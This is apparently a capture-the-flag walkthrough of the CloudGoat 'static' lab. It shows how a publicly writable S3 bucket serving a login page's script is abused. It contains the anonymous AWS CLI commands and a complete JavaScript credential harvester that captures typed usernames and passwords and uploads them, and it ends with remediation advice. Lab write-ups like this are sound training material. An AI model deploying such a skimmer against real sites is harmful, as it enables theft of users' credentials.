Cloudgoat Medium: Static

In this lab, we'll be doing a walkthrough on the static cloudgoat scenario.
Heads up: I had to patch this challenge because the login bot was returning an error. As of 08-22-2026 there's no fix upstream yet. If you're hitting the same problem, you can use my patched version at github.com/kohicha/cloudgoat. I've also opened a pull request against the CloudGoat repo, so it may be a while before it lands.
Summary of the path
Start with a URL and no credentials -> Read the page source and find an S3-hosted script -> List the bucket unauthenticated -> Confirm public write with a throwaway file -> Overwrite auth-module.js with a credential harvester -> Wait for the bot to log in -> Read the captured credentials out of the same bucket
Every command in this lab runs with --no-sign-request, meaning we never authenticate to AWS at all. There's no IAM chain here, no role to assume. The whole thing comes down to one bucket being writable when it shouldn't be.
Setting up
This scenario hands us a URL and nothing else.
$ cloudgoat create static
<SNIP>
Website_In_Scope_START_HERE = http://<TARGET_IP>
Initial recon
An employee login page. Nothing to work with in the UI, so we read the source.
<head>
<meta charset="UTF-8">
<title>Hacksmarter Portal | Employee Login</title>
<script src="https://cg-assets-cgid4qz43ek6lj.s3.amazonaws.com/auth-module.js"></script>
<SNIP>
<input type="text" id="username" placeholder="Username">
<input type="password" id="password" placeholder="Password">
<button id="login-btn">Sign In</button>
The <script> tag gives us the bucket name outright, so there's no brute forcing needed. The page loads its login JavaScript straight from an S3 bucket. Also note the element IDs, username, password, and login-btn, since we'll reference them later.
S3 bucket enumeration
$ aws s3 ls s3://cg-assets-cgid4qz43ek6lj/ --no-sign-request
2026-08-21 21:56:49 52 auth-module.js
2026-08-21 21:56:49 304 logo.svg
--no-sign-request sends this as an anonymous caller, and the listing came back, so the bucket is publicly readable. Let's pull the script and see what it does.
$ aws s3 cp s3://cg-assets-cgid4qz43ek6lj/auth-module.js . --no-sign-request
download: s3://cg-assets-cgid4qz43ek6lj/auth-module.js to ./auth-module.js
$ cat auth-module.js
console.log('Hacksmarter Auth Module v1.2 loaded.');
One line of logging, nothing useful inside it. So the file's contents aren't the target. The real question is whether we can change them.
Confirming public write
Read and write are separate permissions on an S3 bucket, so being able to list it doesn't mean we can upload to it. Let's test that with a throwaway file before touching anything the app depends on.
$ echo "kohicha was here" > file.txt
$ aws s3 cp file.txt s3://cg-assets-cgid4qz43ek6lj/ --no-sign-request
upload: ./file.txt to s3://cg-assets-cgid4qz43ek6lj/file.txt
$ aws s3 ls s3://cg-assets-cgid4qz43ek6lj/ --no-sign-request
2026-08-21 21:56:49 52 auth-module.js
2026-08-21 22:07:50 17 file.txt
2026-08-21 21:56:49 304 logo.svg
The upload went through. An anonymous caller can write files to a bucket that the login page pulls JavaScript from.
That's the whole scenario in one line. Since we can overwrite auth-module.js, and the login page runs whatever that file contains in every visitor's browser, we can swap it for a script that grabs credentials as they're typed.
Setting up the harvester
The script hooks the sign-in button, reads both input fields, and sends them off.
document.addEventListener('DOMContentLoaded', () => {
const loginBtn = document.getElementById('login-btn');
loginBtn.addEventListener('click', async () => {
const usernameInput = document.getElementById('username').value;
const passwordInput = document.getElementById('password').value;
if (!usernameInput || !passwordInput) {
alert('Please enter both a username and a password.');
return;
}
const loginData = {
username: usernameInput,
password: passwordInput,
timestamp: new Date().toISOString()
};
const endpointUrl = 'https://cg-assets-cgid4qz43ek6lj.s3.amazonaws.com/creds.txt';
try {
const response = await fetch(endpointUrl, {
method: 'PUT',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(loginData),
keepalive: true
});
if (response.ok) {
console.log('Successfully uploaded!');
alert('Data saved successfully.');
} else {
console.error('Upload failed. Status:', response.status);
alert('Upload failed. Check console for details.');
}
} catch (error) {
console.error('Network error:', error);
alert('An error occurred while connecting to the endpoint.');
}
});
});
The trick worth pointing out is where it sends the stolen data: back to the same bucket, as creds.txt. Since the bucket allows anonymous writes, the victim's browser can upload the credentials straight into it, and we read them out later with the same anonymous aws s3 cp we've been using the whole time. No separate server to stand up.
Now overwrite the real file.
$ aws s3 cp auth-module.js s3://cg-assets-cgid4qz43ek6lj/auth-module.js --no-sign-request
upload: ./auth-module.js to s3://cg-assets-cgid4qz43ek6lj/auth-module.js
Load the page to confirm the new module is being served.
Now we wait. The scenario runs an automated administrator bot that logs into the portal every minute or two, and that bot is the target. Its credentials are the flag.
Collecting the credentials
$ aws s3 ls s3://cg-assets-cgid4qz43ek6lj/ --no-sign-request
2026-08-22 16:31:07 1517 auth-module.js
2026-08-22 16:31:53 91 creds.txt
2026-08-22 15:50:46 304 logo.svg
creds.txt showed up, so the bot logged in and our script fired.
$ aws s3 cp s3://cg-assets-cgid4qz43ek6lj/creds.txt . --no-sign-request
download: s3://cg-assets-cgid4qz43ek6lj/creds.txt to ./creds.txt
$ cat creds.txt
{"username":"tyler","password":"H@cKallth3th!ngs!3","timestamp":"2026-08-22T08:33:04.802Z"}
H@cKallth3th!ngs!3
Fixing it
The application was never vulnerable. Everything here comes down to how the asset bucket is configured and how the page loads from it.
Remove public write. An assets bucket needs anonymous
GetObjectand nothing else. Turn on S3 Block Public Access at the account level, then grant read through a bucket policy scoped tos3:GetObject, and keepPutObjectrestricted to the deployment role.Add Subresource Integrity to the script tag.
<script src="..." integrity="sha384-..." crossorigin="anonymous">makes the browser verify the file's hash before executing it, so a modifiedauth-module.jssimply doesn't run. This one control breaks the attack even if the bucket stays writable.Serve assets through CloudFront with Origin Access Control, so the bucket isn't reachable directly at all and the origin is private.
Lock down CORS. There's no reason for this bucket to accept cross-origin writes from anywhere.
Enable S3 access logging or CloudTrail data events on the bucket, and alert on any
PutObjectwhere the caller is anonymous or isn't the deployment role. An unauthenticated write to a production assets bucket has no legitimate explanation. Tear the lab down when you're finished:
$ cloudgoat destroy static





